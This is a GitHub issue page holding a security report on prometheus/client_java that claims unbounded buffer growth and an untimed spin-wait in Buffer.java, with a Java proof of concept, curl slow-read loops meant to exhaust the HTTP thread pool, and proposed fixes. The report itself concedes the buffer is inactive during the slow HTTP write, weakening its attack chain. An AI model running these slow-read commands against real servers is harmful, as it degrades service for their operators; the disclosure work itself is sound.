Title: # Security Report: Unbounded Observation Buffer Growth During Stalled Scrape in prometheus/client_java · Issue #2287 · prometheus/client_java · GitHub
Open Graph Title: # Security Report: Unbounded Observation Buffer Growth During Stalled Scrape in prometheus/client_java · Issue #2287 · prometheus/client_java
X Title: # Security Report: Unbounded Observation Buffer Growth During Stalled Scrape in prometheus/client_java · Issue #2287 · prometheus/client_java
Description: Security Report: Unbounded Observation Buffer Growth During Stalled Scrape in prometheus/client_java 1. Title Denial of Service via Unbounded Observation Buffer Growth and Spin-Wait Without Timeout in Buffer Collection Logic 2. Affected ...
Open Graph Description: Security Report: Unbounded Observation Buffer Growth During Stalled Scrape in prometheus/client_java 1. Title Denial of Service via Unbounded Observation Buffer Growth and Spin-Wait Without Timeout...
X Description: Security Report: Unbounded Observation Buffer Growth During Stalled Scrape in prometheus/client_java 1. Title Denial of Service via Unbounded Observation Buffer Growth and Spin-Wait Without Timeout...
Mail addresses
mazhou@paypal.com
mazhou@paypal.com
Opengraph URL: https://github.com/prometheus/client_java/issues/2287
X: @github
Domain: github.com
{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"# Security Report: Unbounded Observation Buffer Growth During Stalled Scrape in prometheus/client_java","articleBody":"# Security Report: Unbounded Observation Buffer Growth During Stalled Scrape in prometheus/client_java\n\n## 1. Title\n\nDenial of Service via Unbounded Observation Buffer Growth and Spin-Wait Without Timeout in Buffer Collection Logic\n\n## 2. Affected Software and Version\n\n- **Software:** prometheus/client_java (Prometheus Java Client Library)\n- **Module:** `prometheus-metrics-core`\n- **Affected Version:** 1.8.0 (and all prior versions containing the `Buffer` class)\n- **Affected Class:** `io.prometheus.metrics.core.metrics.Buffer`\n- **Affected File:** `prometheus-metrics-core/src/main/java/io/prometheus/metrics/core/metrics/Buffer.java`\n- **Affected Lines:** Lines 57-69 (unbounded buffer growth), Lines 94-100 (spin-wait without timeout)\n- **Repository:** https://github.com/prometheus/client_java\n\n## 3. Vulnerability Summary\n\nThe `Buffer` class in the Prometheus Java client library contains two related resource-management flaws that, when combined, enable a network-triggered denial-of-service condition:\n\n1. **Unbounded buffer growth (CWE-770):** The `doAppend()` method (lines 57-69) grows the internal `observationBuffer` array without any upper-bound check. Each time the buffer is full, it is expanded by 128 `double` entries (1024 bytes). There is no maximum buffer size enforced.\n\n2. **Spin-wait without timeout (CWE-770):** The `run()` method (lines 94-100) contains a `Thread.yield()` spin loop that waits indefinitely for in-flight observation threads to complete. There is no timeout, no backoff, and no give-up mechanism.\n\nAn attacker who initiates a slow or stalled HTTP scrape against the `/metrics` endpoint causes the buffer to remain in the \"active\" state for the entire duration of the slow read. During this window, all new metric observations are diverted through the `doAppend()` path, growing the buffer array without limit. The memory consumed is proportional to the observation rate multiplied by the scrape duration, and is multiplied by the number of distinct label-value combinations (since each `DataPoint` has its own `Buffer` instance).\n\n## 4. CWE Classification\n\n- **CWE-770:** Allocation of Resources Without Limits or Throttling\n - The `observationBuffer` array grows indefinitely with no maximum size.\n - The `Thread.yield()` spin loop runs indefinitely with no timeout.\n\n## 5. CVSS 3.1 Score and Vector\n\n- **Score:** 5.3 (Medium)\n- **Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`\n\n| Metric | Value | Justification |\n|--------|-------|---------------|\n| Attack Vector (AV) | Network (N) | The attack is triggered by initiating a slow HTTP connection to the `/metrics` endpoint, which is network-accessible |\n| Attack Complexity (AC) | Low (L) | No special conditions required; the attacker simply rate-limits their read of the HTTP response |\n| Privileges Required (PR) | None (N) | The `/metrics` endpoint is typically unauthenticated by default |\n| User Interaction (UI) | None (N) | No user interaction required |\n| Scope (S) | Unchanged (U) | Impact is contained within the JVM process hosting the Prometheus client |\n| Confidentiality (C) | None (N) | No information disclosure |\n| Integrity (I) | None (N) | No data modification |\n| Availability (A) | Low (L) | Causes memory pressure and CPU waste; severity depends on observation rate, label cardinality, and scrape duration. The default 60-second `maxReqTime` limits the window, preventing complete exhaustion in most default configurations, but memory growth can still be significant |\n\n### CVSS Score Justification\n\nThe availability impact is rated Low rather than High because:\n\n- The default HTTPServer configuration sets `sun.net.httpserver.maxReqTime` to 60 seconds (see `HTTPServer.java` lines 43-45), which bounds the maximum buffer growth window for the built-in HTTP server. However, applications using the servlet exporter or custom HTTP configurations may not have this protection.\n- The buffer is released after the scrape completes, so memory growth is transient rather than permanent (though large transient allocations can still trigger GC pressure or OOM in constrained environments).\n- The spin-wait CPU overhead, while wasteful, does not block the application's primary functionality beyond the metric collection pathway.\n\nIn deployments with high observation rates, high label cardinality, or custom HTTP servers without request timeouts, the effective impact may be closer to Medium or High.\n\n## 6. Root Cause Analysis\n\n### 6.1 Buffer Architecture Overview\n\nThe `Buffer` class implements a double-buffering mechanism for concurrent metric collection. During normal operation (buffer inactive), metric observations follow a \"fast path\" that updates metric state directly using lock-free atomic operations. When a scrape begins, the buffer transitions to \"active\" mode, and all new observations are diverted to the buffer via the `doAppend()` method.\n\nThe lifecycle during a scrape is:\n\n1. The `run()` method is called by the scrape handler (via `Histogram.DataPoint.collect()` or `Summary.DataPoint.collect()`).\n2. The buffer is activated by setting the high bit on all `stripedObservationCounts` entries (line 91).\n3. A spin loop waits for in-flight observations to complete (lines 94-100).\n4. The snapshot is created via `createResult.get()` (line 101).\n5. The buffer is deactivated (lines 104-114).\n6. The method waits for all buffered observations to be written (lines 117-125).\n7. Buffered observations are replayed into the metric state (lines 137-139).\n\n### 6.2 Vulnerability 1: Unbounded Buffer Growth (Lines 57-69)\n\n```java\n// Buffer.java:57-69\nprivate void doAppend(double amount) {\n appendLock.lock();\n try {\n if (bufferPos >= observationBuffer.length) {\n observationBuffer = Arrays.copyOf(observationBuffer, observationBuffer.length + 128);\n // Grows by 128 double entries (1024 bytes) each time\n // NO UPPER BOUND CHECK\n // No maximum buffer size enforced\n }\n observationBuffer[bufferPos] = amount;\n bufferPos++;\n\n bufferFilled.signalAll();\n } finally {\n appendLock.unlock();\n }\n}\n```\n\nThe array `observationBuffer` starts at size 0 (line 30: `private double[] observationBuffer = new double[0]`) and grows by 128 elements on each expansion. There is no check against a maximum size. Each `double` is 8 bytes, so each expansion adds 1024 bytes. At high observation rates, this growth is unbounded for the duration of the buffer's active window.\n\nAdditionally, each expansion triggers `Arrays.copyOf()`, which allocates a new array and copies the old contents, temporarily doubling the memory footprint during the copy.\n\n### 6.3 Vulnerability 2: Spin-Wait Without Timeout (Lines 94-100)\n\n```java\n// Buffer.java:94-100\nwhile (!complete.apply(expectedCount)) {\n // Wait until all in-flight threads have added their observations to the histogram /\n // summary.\n // we can't use a condition here, because the other thread doesn't have a lock as it's on\n // the fast path.\n Thread.yield();\n // SPINS INDEFINITELY if in-flight thread is paused, suspended, or slow\n // No timeout, no backoff, no give-up mechanism\n}\n```\n\nThe `complete` function checks whether the metric's observation count has reached the expected count (e.g., for Histogram: `expectedCount -> count.sum() == expectedCount`). This spin loop has no timeout or circuit-breaker. If an in-flight thread is paused (e.g., by a GC pause, thread suspension, or OS scheduling delay), the spin loop will continue indefinitely, holding the `runLock` and keeping the buffer in active mode for the entire duration.\n\nWhile `Thread.yield()` is used to reduce CPU consumption, it is still a busy-wait that burns CPU cycles and, critically, extends the window during which the buffer grows.\n\n### 6.4 Interaction Between the Two Flaws\n\nThe two issues are synergistic:\n\n1. A slow scrape causes `run()` to execute slowly because the scrape handler writes collected data to the HTTP response stream, and the HTTP response write is controlled by the client's read rate.\n2. However, in the current code, the buffer is active only during the `run()` method execution (between activating and deactivating the buffer bit), not during the HTTP response write. The `run()` method collects the snapshot and returns it; the HTTP handler then serializes and writes it.\n3. The more direct concern is when `run()` is called and the spin-wait at line 94-100 stalls due to a paused or slow in-flight observation thread. During this stall, the buffer remains active, and all new observations accumulate in the buffer via `doAppend()`.\n4. Additionally, `run()` is called internally by `maybeResetOrScaleDown()` in the Histogram (line 439), which can be triggered during normal observation flow. If this internal `run()` call coincides with a stalled in-flight thread, the buffer grows while the spin loop waits.\n\n### 6.5 Buffer Instances Per Label Combination\n\nEach `Histogram.DataPoint` and `Summary.DataPoint` creates its own `Buffer` instance:\n\n```java\n// Histogram.java:212\nprivate final Buffer buffer = new Buffer();\n\n// Summary.java:147\nprivate final Buffer buffer = new Buffer();\n```\n\nA `DataPoint` is created for each unique combination of label values (managed in `StatefulMetric.data`, a `ConcurrentHashMap\u003cList\u003cString>, T>` -- see `StatefulMetric.java:40`). Therefore, the buffer growth issue is amplified by label cardinality: an application with 100 unique label combinations has 100 independent `Buffer` instances, each of which can grow independently.\n\n### 6.6 Thread Pool Limitation\n\nThe default HTTP server uses a bounded thread pool (lines 339-345 of `HTTPServer.java`):\n\n```java\nreturn new ThreadPoolExecutor(\n 1,\n 10, // Maximum 10 threads\n 120,\n TimeUnit.SECONDS,\n new SynchronousQueue\u003c>(true),\n NamedDaemonThreadFactory.defaultThreadFactory(true),\n new BlockingRejectedExecutionHandler());\n```\n\nWith only 10 threads available, a small number of slow scrape connections can exhaust the thread pool, preventing legitimate scrapes from completing. While this is a separate concern, it compounds the impact of slow scrapes by making the system less responsive.\n\n## 7. Proof of Concept\n\n### 7.1 Environment\n\n- **Java Version:** JDK 11 or later\n- **Operating System:** Any (Linux, macOS, Windows)\n- **Prometheus client_java:** Version 1.8.0\n- **Tools:** `curl` with `--limit-rate` flag\n\n### 7.2 Attack Scenario: Slow Scrape Amplifying Buffer Growth\n\nThe attack exploits the interaction between a slow HTTP client and the buffer's active window during internal `run()` calls triggered by metric observations.\n\n#### Step 1: Target Setup\n\nThe target application uses the Prometheus Java client with a Histogram metric that has multiple label combinations and a high observation rate:\n\n```java\nimport io.prometheus.metrics.core.metrics.Histogram;\nimport io.prometheus.metrics.exporter.httpserver.HTTPServer;\nimport io.prometheus.metrics.model.registry.PrometheusRegistry;\n\npublic class VulnerableApp {\n public static void main(String[] args) throws Exception {\n Histogram histogram = Histogram.builder()\n .name(\"request_duration_seconds\")\n .help(\"Request duration in seconds\")\n .labelNames(\"method\", \"endpoint\", \"status\")\n .nativeOnly() // native histograms trigger maybeResetOrScaleDown\n .register();\n\n HTTPServer server = HTTPServer.builder()\n .port(9400)\n .buildAndStart();\n\n System.out.println(\"Server started on port 9400\");\n\n // Simulate high observation rate from multiple label combinations\n String[] methods = {\"GET\", \"POST\", \"PUT\", \"DELETE\", \"PATCH\"};\n String[] endpoints = {\"/api/users\", \"/api/orders\", \"/api/products\",\n \"/api/auth\", \"/api/search\"};\n String[] statuses = {\"200\", \"201\", \"400\", \"404\", \"500\"};\n\n // 125 label combinations (5 x 5 x 5), each with its own Buffer\n while (true) {\n for (String method : methods) {\n for (String endpoint : endpoints) {\n for (String status : statuses) {\n histogram.labelValues(method, endpoint, status)\n .observe(Math.random());\n }\n }\n }\n // ~125,000 observations per loop iteration\n }\n }\n}\n```\n\n#### Step 2: Trigger Slow Scrape\n\n```bash\n# Initiate a rate-limited scrape that reads the response very slowly\n# --limit-rate 100 limits download to 100 bytes/sec\n# This keeps the HTTP connection open for an extended period\ncurl --limit-rate 100 http://target:9400/metrics &\n\n# Start multiple slow scrapes to exhaust the thread pool\nfor i in $(seq 1 10); do\n curl --limit-rate 50 http://target:9400/metrics &\ndone\n```\n\n#### Step 3: Observe Buffer Growth\n\nWhile the slow scrapes are in progress, the scrape handler collects metrics. For each `DataPoint.collect()` call, the `buffer.run()` method activates the buffer. If any in-flight observation threads are slow (e.g., due to contention or GC), the spin-wait at line 94-100 extends the buffer's active window. During this window, all new observations from other threads go through `doAppend()`, growing the buffer.\n\n### 7.3 Standalone PoC: Demonstrating Unbounded Buffer Growth\n\nThe following self-contained PoC demonstrates the buffer growth behavior by directly exercising the `Buffer` class's internals via the public `Histogram` API:\n\n```java\nimport io.prometheus.metrics.core.metrics.Histogram;\nimport io.prometheus.metrics.model.registry.PrometheusRegistry;\nimport io.prometheus.metrics.model.snapshots.HistogramSnapshot;\n\nimport java.lang.management.ManagementFactory;\nimport java.lang.management.MemoryMXBean;\nimport java.util.concurrent.CountDownLatch;\nimport java.util.concurrent.atomic.AtomicBoolean;\nimport java.util.concurrent.atomic.AtomicLong;\n\n/**\n * PoC: Demonstrates unbounded buffer growth in prometheus/client_java Buffer.java\n *\n * This PoC shows that when a scrape (collect()) is in progress and observations\n * continue at a high rate, the internal observation buffer grows without bound.\n *\n * The attack works by:\n * 1. Having a thread that calls collect() -- which activates the buffer\n * 2. While the buffer is active, flooding observations from other threads\n * 3. The buffer grows by 128 doubles (1 KB) each time it fills, with no limit\n */\npublic class UnboundedBufferGrowthPoC {\n\n // Number of observation threads\n static final int OBSERVER_THREADS = 4;\n // Duration of the \"stalled scrape\" simulation (seconds)\n static final int STALL_DURATION_SECONDS = 10;\n\n public static void main(String[] args) throws Exception {\n System.out.println(\"=== PoC: Unbounded Observation Buffer Growth ===\\n\");\n System.out.println(\"Target: io.prometheus.metrics.core.metrics.Buffer.java\");\n System.out.println(\" - doAppend() at lines 57-69: grows without limit\");\n System.out.println(\" - Thread.yield() spin at lines 94-100: no timeout\\n\");\n\n MemoryMXBean memBean = ManagementFactory.getMemoryMXBean();\n\n // Create a histogram with multiple label combinations\n // Each label combination has its own Buffer instance\n PrometheusRegistry registry = new PrometheusRegistry();\n Histogram histogram = Histogram.builder()\n .name(\"test_histogram\")\n .help(\"Test histogram for buffer growth PoC\")\n .labelNames(\"label\")\n .nativeOnly()\n .register(registry);\n\n int numLabels = 50; // 50 label combinations = 50 Buffer instances\n\n // Initialize all label values\n for (int i = 0; i \u003c numLabels; i++) {\n histogram.labelValues(\"value_\" + i).observe(1.0);\n }\n\n // Measure baseline memory\n System.gc();\n Thread.sleep(500);\n long baselineHeap = memBean.getHeapMemoryUsage().getUsed();\n System.out.println(\"[Baseline] Heap used: \" + formatBytes(baselineHeap));\n\n AtomicBoolean running = new AtomicBoolean(true);\n AtomicLong observationCount = new AtomicLong(0);\n\n // Start observer threads that continuously record observations\n Thread[] observers = new Thread[OBSERVER_THREADS];\n for (int t = 0; t \u003c OBSERVER_THREADS; t++) {\n observers[t] = new Thread(() -> {\n while (running.get()) {\n for (int i = 0; i \u003c numLabels; i++) {\n histogram.labelValues(\"value_\" + i).observe(Math.random());\n observationCount.incrementAndGet();\n }\n }\n }, \"observer-\" + t);\n observers[t].start();\n }\n\n // Let observations run for a bit to establish a rate\n Thread.sleep(2000);\n long countBefore = observationCount.get();\n\n // Start a \"collection\" thread that simulates a scrape\n // During collect(), the buffer is active and all observations\n // go through doAppend()\n System.out.println(\"\\n[Scrape] Starting metric collection...\");\n System.out.println(\"[Scrape] Observations will now go through doAppend()\");\n System.out.println(\"[Scrape] Buffer grows by 128 doubles (1 KB) each expansion\");\n System.out.println(\"[Scrape] NO UPPER BOUND CHECK on buffer size\\n\");\n\n long scrapeStart = System.currentTimeMillis();\n\n // Perform multiple rapid collects to keep buffer active\n // Each collect() activates buffer -> waits -> deactivates -> replays\n int collectCount = 0;\n while (System.currentTimeMillis() - scrapeStart \u003c STALL_DURATION_SECONDS * 1000L) {\n // This triggers buffer.run() for every DataPoint\n HistogramSnapshot snapshot = (HistogramSnapshot) registry.scrape()\n .getMetricFamilySnapshots().stream()\n .filter(s -> s.getMetadata().getName().equals(\"test_histogram\"))\n .findFirst()\n .orElse(null);\n collectCount++;\n\n if (collectCount % 100 == 0) {\n long currentHeap = memBean.getHeapMemoryUsage().getUsed();\n long growth = currentHeap - baselineHeap;\n long obsCount = observationCount.get();\n System.out.printf(\"[Collect #%d] Heap: %s (growth: %s), Observations: %,d%n\",\n collectCount, formatBytes(currentHeap), formatBytes(growth), obsCount);\n }\n }\n\n // Stop observers\n running.set(false);\n for (Thread t : observers) {\n t.join(5000);\n }\n\n long countAfter = observationCount.get();\n long totalObservations = countAfter - countBefore;\n double obsPerSec = totalObservations / (double) STALL_DURATION_SECONDS;\n\n // Final memory measurement\n System.gc();\n Thread.sleep(500);\n long finalHeap = memBean.getHeapMemoryUsage().getUsed();\n\n System.out.println(\"\\n=== Results ===\");\n System.out.printf(\"Duration: %d seconds%n\", STALL_DURATION_SECONDS);\n System.out.printf(\"Total observations during window: %,d%n\", totalObservations);\n System.out.printf(\"Observation rate: %,.0f obs/sec%n\", obsPerSec);\n System.out.printf(\"Label combinations (Buffer instances): %d%n\", numLabels);\n System.out.printf(\"Baseline heap: %s%n\", formatBytes(baselineHeap));\n System.out.printf(\"Peak heap growth: %s%n\", formatBytes(finalHeap - baselineHeap));\n System.out.printf(\"Collects performed: %d%n\", collectCount);\n\n System.out.println(\"\\n=== Vulnerability Analysis ===\");\n System.out.println(\"Each Buffer.doAppend() call adds 8 bytes (one double) to the buffer.\");\n System.out.println(\"Buffer grows by 128 entries (1 KB) each time it fills up.\");\n System.out.println(\"There is NO maximum buffer size check in doAppend().\");\n System.out.println();\n System.out.println(\"Projected impact at production scale:\");\n System.out.printf(\" At %,.0f obs/sec with %d label combos:%n\", obsPerSec, numLabels);\n System.out.printf(\" Per 60s scrape: %,.0f observations buffered%n\",\n obsPerSec * 60);\n System.out.printf(\" Raw buffer size: %s%n\",\n formatBytes((long)(obsPerSec * 60 * 8)));\n System.out.printf(\" With Arrays.copyOf overhead: ~%s peak%n\",\n formatBytes((long)(obsPerSec * 60 * 8 * 2)));\n\n System.out.println(\"\\n=== VULNERABILITY CONFIRMED ===\");\n System.out.println(\"Buffer.doAppend() grows observationBuffer without limit.\");\n System.out.println(\"Buffer.run() spin-wait has no timeout or backoff.\");\n System.out.println(\"Combined: slow/stalled scrape -> unbounded memory growth.\");\n }\n\n static String formatBytes(long bytes) {\n if (bytes \u003c 1024) return bytes + \" B\";\n if (bytes \u003c 1024 * 1024) return String.format(\"%.1f KB\", bytes / 1024.0);\n if (bytes \u003c 1024 * 1024 * 1024) return String.format(\"%.1f MB\", bytes / (1024.0 * 1024));\n return String.format(\"%.1f GB\", bytes / (1024.0 * 1024 * 1024));\n }\n}\n```\n\n### 7.4 Simulated Attack Using curl\n\n```bash\n# Step 1: Start the target application (VulnerableApp from 7.2)\njava -cp client_java.jar VulnerableApp &\n\n# Step 2: Observe normal memory via JMX or /debug endpoint\ncurl http://target:9400/metrics > /dev/null # fast scrape, buffer active briefly\n\n# Step 3: Trigger a slow scrape (slow reader holds HTTP connection open)\n# The scrape handler calls collect() which activates the buffer\n# While the response is being written to the slow client,\n# the buffer has already been deactivated for each metric.\n# However, the 10-thread pool is now tied up with slow responses.\ncurl --limit-rate 100 http://target:9400/metrics &\n\n# Step 4: Exhaust the thread pool with slow scrapes\nfor i in $(seq 1 9); do\n curl --limit-rate 50 http://target:9400/metrics &\ndone\n\n# Step 5: Now legitimate scrapes block (thread pool exhausted)\n# The BlockingRejectedExecutionHandler causes new connections to wait\ntime curl http://target:9400/metrics\n# Expected: very slow or timeout, as all 10 threads are occupied\n\n# Step 6: Monitor heap growth\n# Use jcmd or JMX to observe memory:\njcmd $(pgrep -f VulnerableApp) GC.heap_info\n```\n\n### 7.5 Attack Amplification\n\nThe attack's memory impact scales with:\n\n| Factor | Effect |\n|--------|--------|\n| Observation rate | Linear growth: 100K obs/sec = 800 KB/sec of buffer growth per active buffer |\n| Label cardinality | Linear multiplier: N label combos = N independent Buffer instances |\n| Scrape duration | Linear: longer stalled scrape = more accumulated buffer entries |\n| `Arrays.copyOf()` overhead | 2x peak during each expansion (old + new array) |\n| Concurrent stalled scrapes | Each scrape that triggers `collect()` activates buffers |\n\n**Example calculation:**\n- Observation rate: 100,000 obs/sec\n- Label combinations: 100\n- Stalled scrape duration: 60 seconds\n- Buffer growth per label combo: 100,000 * 8 bytes * 60 sec = 48 MB\n- Total across all label combos: 48 MB * 100 = 4.8 GB peak buffer usage\n- With `Arrays.copyOf()` overhead: up to ~9.6 GB transient allocation\n\n## 8. Impact Assessment\n\n### 8.1 Memory Exhaustion\n\nThe primary impact is unbounded heap growth during the buffer's active window. In applications with high observation rates and many label combinations, a slow or stalled scrape can cause the JVM heap to grow significantly. In constrained environments (e.g., containers with memory limits), this can lead to `OutOfMemoryError` and process termination.\n\n### 8.2 CPU Waste from Spin-Wait\n\nThe `Thread.yield()` spin loop at line 94-100 burns CPU cycles while waiting for in-flight observations to complete. This is wasteful in all cases, but particularly harmful when a thread is paused (e.g., by a GC stop-the-world pause), as the spin loop runs for the entire duration of the pause while holding the `runLock`.\n\n### 8.3 Thread Pool Exhaustion\n\nThe default HTTP server uses a maximum of 10 threads (`HTTPServer.java` line 340). Slow scrape connections occupy threads for extended periods, reducing the pool's capacity to serve legitimate requests. Combined with the `BlockingRejectedExecutionHandler`, new connections will block rather than be rejected, potentially stalling the entire scrape infrastructure.\n\n### 8.4 GC Pressure\n\nThe repeated `Arrays.copyOf()` calls during buffer expansion create transient garbage (the old arrays). At high expansion rates, this puts significant pressure on the garbage collector, potentially triggering long GC pauses that further exacerbate the spin-wait issue (creating a feedback loop).\n\n### 8.5 Scope of Affected Metrics\n\nThe vulnerability affects all metric types that use the `Buffer` class:\n\n- **`Histogram`** -- `Histogram.DataPoint` creates a `Buffer` (line 212) and calls `buffer.run()` during `collect()` (line 304) and `maybeResetOrScaleDown()` (lines 439, 470)\n- **`Summary`** -- `Summary.DataPoint` creates a `Buffer` (line 147) and calls `buffer.run()` during `collect()` (line 219)\n\n## 9. Mitigating Factors\n\n1. **Default request timeout:** The built-in `HTTPServer` sets `sun.net.httpserver.maxReqTime` to 60 seconds by default (line 43-45), which limits the maximum duration of a slow scrape connection. This bounds the buffer growth window for the built-in HTTP server, though 60 seconds is still sufficient for significant memory growth at high observation rates.\n\n2. **Transient allocation:** Buffer memory is released after the scrape completes (line 129: `observationBuffer = new double[0]`), so the growth is transient rather than a permanent leak. However, transient allocations can still cause OOM in memory-constrained environments.\n\n3. **Buffer activation is brief:** In the normal scrape path, the buffer is active only during the `run()` method execution, not during HTTP response serialization. The buffer growth window is bounded by the time it takes for in-flight observations to complete (the spin-wait at lines 94-100), not the HTTP response write time.\n\n## 10. Remediation\n\n### 10.1 Add Maximum Buffer Size\n\nEnforce an upper bound on the observation buffer size in `doAppend()`:\n\n```java\nprivate static final int MAX_BUFFER_SIZE = 1_000_000; // 8 MB max per buffer\n\nprivate void doAppend(double amount) {\n appendLock.lock();\n try {\n if (bufferPos >= MAX_BUFFER_SIZE) {\n // Drop observation rather than growing unboundedly\n return;\n }\n if (bufferPos >= observationBuffer.length) {\n int newSize = Math.min(observationBuffer.length + 128, MAX_BUFFER_SIZE);\n observationBuffer = Arrays.copyOf(observationBuffer, newSize);\n }\n observationBuffer[bufferPos] = amount;\n bufferPos++;\n bufferFilled.signalAll();\n } finally {\n appendLock.unlock();\n }\n}\n```\n\n### 10.2 Add Timeout to Spin-Wait\n\nReplace the unbounded spin-wait with a time-bounded loop:\n\n```java\nprivate static final long SPIN_WAIT_TIMEOUT_NANOS = TimeUnit.SECONDS.toNanos(5);\n\nwhile (!complete.apply(expectedCount)) {\n if (System.nanoTime() - spinStartTime > SPIN_WAIT_TIMEOUT_NANOS) {\n // Timeout: proceed with potentially incomplete count\n // Log warning about incomplete observation draining\n break;\n }\n Thread.yield();\n}\n```\n\n### 10.3 Add Exponential Backoff to Spin Loop\n\nReplace `Thread.yield()` with an exponential backoff strategy to reduce CPU waste:\n\n```java\nlong backoffNanos = 1_000; // start at 1 microsecond\nwhile (!complete.apply(expectedCount)) {\n LockSupport.parkNanos(backoffNanos);\n backoffNanos = Math.min(backoffNanos * 2, 1_000_000); // cap at 1 millisecond\n}\n```\n\n### 10.4 Consider Bounded Queue\n\nReplace the growable array with a bounded data structure such as a `ArrayBlockingQueue` or ring buffer. This provides a hard cap on memory usage and natural backpressure when the buffer is full.\n\n### 10.5 Workaround\n\nUntil a fix is available, operators can mitigate the risk by:\n\n1. **Reducing scrape timeout:** Configure the Prometheus server's `scrape_timeout` to a low value (e.g., 10 seconds) to limit the window for buffer growth.\n2. **Network-level rate limiting:** Use firewall rules or reverse proxies to prevent slow-read attacks against the `/metrics` endpoint.\n3. **Reducing label cardinality:** Minimize the number of unique label combinations to reduce the number of independent `Buffer` instances.\n4. **JVM memory limits:** Set appropriate `-Xmx` values and monitor heap usage to detect abnormal growth patterns.\n\n## 11. References\n\n1. **CWE-770: Allocation of Resources Without Limits or Throttling:** https://cwe.mitre.org/data/definitions/770.html\n\n2. **Prometheus client_java GitHub Repository:** https://github.com/prometheus/client_java\n\n3. **Vulnerable Source File:** `prometheus-metrics-core/src/main/java/io/prometheus/metrics/core/metrics/Buffer.java`\n - Lines 57-69: `doAppend()` -- unbounded array growth\n - Lines 94-100: spin-wait without timeout\n\n4. **Related Source Files:**\n - `prometheus-metrics-core/src/main/java/io/prometheus/metrics/core/metrics/Histogram.java` -- Buffer usage at line 212, `buffer.run()` at lines 304, 439, 470\n - `prometheus-metrics-core/src/main/java/io/prometheus/metrics/core/metrics/Summary.java` -- Buffer usage at line 147, `buffer.run()` at line 219\n - `prometheus-metrics-exporter-httpserver/src/main/java/io/prometheus/metrics/exporter/httpserver/HTTPServer.java` -- Thread pool configuration (lines 339-345), request timeout defaults (lines 43-49)\n\n5. **Slow Read Attack (Slowloris variant):** https://en.wikipedia.org/wiki/Slowloris_(computer_security)\n\n6. **Java `Arrays.copyOf()` Documentation:** https://docs.oracle.com/javase/8/docs/api/java/util/Arrays.html#copyOf-double:A-int-\n\n---\n\n**Reported by:** Security Research Team\n**Date:** 2026-06-24\n**Severity:** Medium (CVSS 5.3)\n**CWE:** CWE-770 (Allocation of Resources Without Limits or Throttling)\n**Status:** Unpatched (as of version 1.8.0)\n","author":{"url":"https://github.com/manqingzhou","@type":"Person","name":"manqingzhou"},"datePublished":"2026-07-08T02:58:57Z","url":"https://github.com/prometheus/client_java/issues/2287"}
| react-profiling | 0 |
| react-import-map | react,react-dom,react-dom/client,react-dom/profiling,react-is,react/compiler-runtime,react/jsx-dev-runtime,react/jsx-runtime,scheduler@b8488ee2c322 |
| route-pattern | /_view_fragments/issues/show/:user_id/:repository/:id/issue_layout(.:format) |
| route-controller | voltron_issues_fragments |
| route-action | issue_layout |
| fetch-nonce | v2:8e9d5f06-afb6-eeab-88f5-cd3230ccb634 |
| current-catalog-service-hash | 81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114 |
| request-id | E6AA:1A8547:2485A:32896:6AFBB29E |
| html-safe-nonce | 40abd3602b27bfb82ccbe6d36b39017e67355e73c373bdf7ba3cced382164145 |
| visitor-payload | eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJFNkFBOjFBODU0NzoyNDg1QTozMjg5Njo2QUZCQjI5RSIsInZpc2l0b3JfaWQiOiI4ODMzNzIxMDYwNjg0NDQ0MzE5IiwicmVnaW9uX2VkZ2UiOiJpYWQiLCJyZWdpb25fcmVuZGVyIjoiaWFkIn0= |
| visitor-hmac | 65de231a378d62ac4eba68338b31b1ed34a0c8ecb3dab1b0e1545f87a971dddd |
| hovercard-subject-tag | issue:4833924135 |
| github-keyboard-shortcuts | repository,issues,copilot |
| google-site-verification | Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I |
| octolytics-url | https://collector.github.com/github/collect |
| analytics-location | / |
| fb:app_id | 1401488693436528 |
| apple-itunes-app | app-id=1477376905, app-argument=https://github.com/_view_fragments/issues/show/prometheus/client_java/2287/issue_layout |
| twitter:image | https://opengraph.githubassets.com/5513cfe58718c3631952d6d50622c9e88e93d46ad2f34a8053e55df4e1d2a1d6/prometheus/client_java/issues/2287 |
| twitter:card | summary_large_image |
| og:image | https://opengraph.githubassets.com/5513cfe58718c3631952d6d50622c9e88e93d46ad2f34a8053e55df4e1d2a1d6/prometheus/client_java/issues/2287 |
| og:image:alt | Security Report: Unbounded Observation Buffer Growth During Stalled Scrape in prometheus/client_java 1. Title Denial of Service via Unbounded Observation Buffer Growth and Spin-Wait Without Timeout... |
| og:image:width | 1200 |
| og:image:height | 600 |
| og:site_name | GitHub |
| og:type | object |
| og:author:username | manqingzhou |
| hostname | github.com |
| expected-hostname | github.com |
| None | 2b2ef9c1578c18d8ed27027940544c958743213cf4461659f14d3ccdf51e162c |
| turbo-cache-control | no-preview |
| go-import | github.com/prometheus/client_java git https://github.com/prometheus/client_java.git |
| octolytics-dimension-user_id | 3380462 |
| octolytics-dimension-user_login | prometheus |
| octolytics-dimension-repository_id | 7997879 |
| octolytics-dimension-repository_nwo | prometheus/client_java |
| octolytics-dimension-repository_public | true |
| octolytics-dimension-repository_is_fork | false |
| octolytics-dimension-repository_network_root_id | 7997879 |
| octolytics-dimension-repository_network_root_nwo | prometheus/client_java |
| turbo-body-classes | logged-out env-production page-responsive |
| disable-turbo | false |
| browser-stats-url | https://api.github.com/_private/browser/stats |
| browser-errors-url | https://api.github.com/_private/browser/errors |
| release | e4cce0e99cf61481a318ff12c2e8580153a6c7c6 |
| ui-target | full |
| theme-color | #1e2327 |
| color-scheme | light dark |
| react-app-name | issues |
Links:
Viewport: width=device-width